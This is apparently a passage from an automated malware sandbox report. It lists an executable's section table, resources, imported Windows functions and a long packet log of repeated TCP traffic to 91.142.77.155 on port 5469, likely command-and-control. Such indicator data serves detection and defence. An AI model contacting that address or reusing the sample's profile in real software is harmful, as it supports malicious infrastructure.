                                                                                                                                                                                        .data0x260000x3183c0x23a00False0.96367872807data7.91574031298IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                        .rsrc0x580000x38b80x3a00False0.672009698276data5.92959015572IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                        .reloc0x5c0000x37740x3800False0.371233258929data3.85690026782IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                        Resources

                                                                                                                                                                                        NameRVASizeTypeLanguageCountry
                                                                                                                                                                                        RT_CURSOR0x5a9080x130dataSami LappishFinland
                                                                                                                                                                                        RT_CURSOR0x5a9080x130dataSami LappishNorway
                                                                                                                                                                                        RT_CURSOR0x5a9080x130dataSami LappishSweden
                                                                                                                                                                                        RT_ICON0x582d00x25a8dBase III DBT, version number 0, next free block index 40EnglishUnited States
                                                                                                                                                                                        RT_STRING0x5ab880x128dataSami LappishFinland
                                                                                                                                                                                        RT_STRING0x5ab880x128dataSami LappishNorway
                                                                                                                                                                                        RT_STRING0x5ab880x128dataSami LappishSweden
                                                                                                                                                                                        RT_STRING0x5acb00x432dataSami LappishFinland
                                                                                                                                                                                        RT_STRING0x5acb00x432dataSami LappishNorway
                                                                                                                                                                                        RT_STRING0x5acb00x432dataSami LappishSweden
                                                                                                                                                                                        RT_STRING0x5b0e80x492dataSami LappishFinland
                                                                                                                                                                                        RT_STRING0x5b0e80x492dataSami LappishNorway
                                                                                                                                                                                        RT_STRING0x5b0e80x492dataSami LappishSweden
                                                                                                                                                                                        RT_STRING0x5b5800x2e2dataSami LappishFinland
                                                                                                                                                                                        RT_STRING0x5b5800x2e2dataSami LappishNorway
                                                                                                                                                                                        RT_STRING0x5b5800x2e2dataSami LappishSweden
                                                                                                                                                                                        RT_STRING0x5b8680x4adataSami LappishFinland
                                                                                                                                                                                        RT_STRING0x5b8680x4adataSami LappishNorway
                                                                                                                                                                                        RT_STRING0x5b8680x4adataSami LappishSweden
                                                                                                                                                                                        RT_ACCELERATOR0x5a8900x78dataSami LappishFinland
                                                                                                                                                                                        RT_ACCELERATOR0x5a8900x78dataSami LappishNorway
                                                                                                                                                                                        RT_ACCELERATOR0x5a8900x78dataSami LappishSweden
                                                                                                                                                                                        RT_GROUP_CURSOR0x5aa380x14dataSami LappishFinland
                                                                                                                                                                                        RT_GROUP_CURSOR0x5aa380x14dataSami LappishNorway
                                                                                                                                                                                        RT_GROUP_CURSOR0x5aa380x14dataSami LappishSweden
                                                                                                                                                                                        RT_GROUP_ICON0x5a8780x14dataEnglishUnited States
                                                                                                                                                                                        RT_VERSION0x5aa500x134dataSami LappishFinland
                                                                                                                                                                                        RT_VERSION0x5aa500x134dataSami LappishNorway
                                                                                                                                                                                        RT_VERSION0x5aa500x134dataSami LappishSweden

                                                                                                                                                                                        Imports

                                                                                                                                                                                        DLLImport
                                                                                                                                                                                        KERNEL32.dllSetLocalTime, CallNamedPipeA, SetWaitableTimer, InterlockedIncrement, GetQueuedCompletionStatus, GetCommState, InterlockedDecrement, GetProfileStringW, SetEvent, FreeEnvironmentStringsA, CreateNamedPipeW, GetNumberFormatA, ReadConsoleOutputA, GetCommandLineA, SetProcessPriorityBoost, GetSystemTimes, GetPrivateProfileIntA, GetSystemDirectoryW, GetConsoleAliasExesLengthW, HeapCreate, TerminateProcess, FileTimeToSystemTime, GetModuleFileNameW, GetCompressedFileSizeA, lstrlenW, GetPrivateProfileIntW, InterlockedExchange, GetStartupInfoA, CopyFileExW, GetCPInfoExW, FreeLibraryAndExitThread, GetLastError, GetCurrentDirectoryW, GetProcAddress, SetStdHandle, EnterCriticalSection, LoadLibraryA, OpenMutexA, CreateSemaphoreW, LocalAlloc, WritePrivateProfileStringA, HeapWalk, FindAtomA, GetModuleHandleA, FindFirstChangeNotificationA, FindNextFileW, WriteProfileStringW, SetFileShortNameA, TlsAlloc, LocalSize, FindAtomW, EnumResourceLanguagesW, GetSystemTime, LCMapStringW, CopyFileExA, DeleteFileA, GetVolumeInformationW, SetThreadLocale, GetThreadContext, HeapValidate, IsBadReadPtr, RaiseException, LeaveCriticalSection, GetFileType, WriteFile, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, GetModuleHandleW, Sleep, ExitProcess, TlsGetValue, TlsSetValue, GetCurrentThreadId, TlsFree, SetLastError, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlUnwind, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleFileNameA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, HeapDestroy, HeapFree, VirtualFree, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, InitializeCriticalSectionAndSpinCount, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, SetFilePointer, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, DebugBreak, OutputDebugStringA, OutputDebugStringW, LoadLibraryW, LCMapStringA, CreateFileA, CloseHandle, FlushFileBuffers
                                                                                                                                                                                        ADVAPI32.dllInitiateSystemShutdownA

                                                                                                                                                                                        Version Infos

                                                                                                                                                                                        DescriptionData
                                                                                                                                                                                        Translation0x1209 0x052d

                                                                                                                                                                                        Possible Origin

                                                                                                                                                                                        Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                        Sami LappishFinland
                                                                                                                                                                                        Sami LappishNorway
                                                                                                                                                                                        Sami LappishSweden
                                                                                                                                                                                        EnglishUnited States

                                                                                                                                                                                        Network Behavior

                                                                                                                                                                                        Network Port Distribution

                                                                                                                                                                                        TCP Packets

                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                        Sep 25, 2021 10:16:26.161043882 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:26.215864897 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:26.216129065 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:27.203342915 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:27.258799076 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:27.300406933 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:29.929308891 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:29.986063004 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:30.034580946 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:34.435806036 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:34.495325089 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:34.495358944 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:34.495709896 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:36.677424908 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:36.771517038 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:42.140444994 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:42.199423075 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:42.199465036 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:42.199476957 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:42.203192949 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:42.556828022 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:42.646733046 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:49.219137907 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:49.276537895 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:49.411441088 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:49.734576941 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:49.791323900 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:49.816848993 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:49.872520924 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.029433966 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.085217953 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.140491009 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.208137035 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.275403023 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.331279993 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.331996918 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.411302090 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.513787985 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.569037914 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.602063894 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.657229900 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.662317038 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.717593908 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.720535994 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.776015043 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.780675888 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.837400913 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.909137964 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:50.965265989 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.966129065 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:50.970103979 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:51.063283920 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:51.114415884 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:51.758090973 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:51.813846111 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:51.823870897 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:51.879081011 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.010915995 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.066725016 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.067549944 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.085764885 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.141380072 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.298018932 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.582180977 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636701107 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636728048 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636742115 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636760950 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636778116 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636791945 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636893988 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636953115 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.636970043 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.692111015 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.692188978 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.692215919 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.692327023 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.692433119 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.692544937 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.692605972 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693139076 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693177938 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693206072 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693233013 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693269968 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693368912 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693432093 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693576097 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.693645954 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.749835014 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.750221014 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.750257015 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.750293970 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.750896931 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.750950098 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.750978947 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.751101971 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.751501083 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.751513958 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.751605988 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.751624107 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.751791954 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.751822948 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.752240896 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.752269983 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.752346992 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.752938032 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.753555059 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.753582001 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.753608942 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.754157066 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.754221916 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.754489899 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.754544973 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.754571915 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.802874088 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.803392887 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.806639910 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.806658983 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.806756973 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.806766033 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.806768894 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807298899 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807315111 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807347059 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807399988 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807426929 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807490110 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807619095 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807760000 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807894945 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.807909012 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.858582020 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.858603001 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.858632088 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.859023094 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.859137058 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.861013889 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.861380100 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913362026 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913384914 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913393021 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913419962 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913507938 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913665056 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913676977 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913779020 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913815975 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.913939953 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.914184093 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.914196968 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.914256096 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.914657116 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.914757013 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915508986 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915522099 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915549040 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915616035 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915661097 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915699959 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915741920 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915817976 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915893078 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915937901 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.915960073 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.916023970 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.916102886 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.916114092 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.916122913 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.916136026 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.916177988 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.916219950 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.967698097 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.968183994 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.968274117 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:52.968691111 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.968720913 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.968801975 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.968931913 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.968961954 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969119072 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969130993 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969160080 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969250917 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969300985 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969439983 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969477892 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969602108 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:52.969615936 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022532940 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022562027 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022572994 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022588968 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022602081 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022699118 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022735119 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022777081 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022816896 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022830009 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022895098 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022927046 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.022974968 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023006916 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023053885 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023087978 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023154974 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023189068 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023253918 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023288965 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023339987 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023428917 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023621082 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.023977995 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077589989 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077615023 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077622890 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077635050 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077644110 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077676058 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077688932 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077713013 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077790976 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077836037 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077918053 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077931881 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077965021 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.077981949 CEST54694974391.142.77.155192.168.2.3
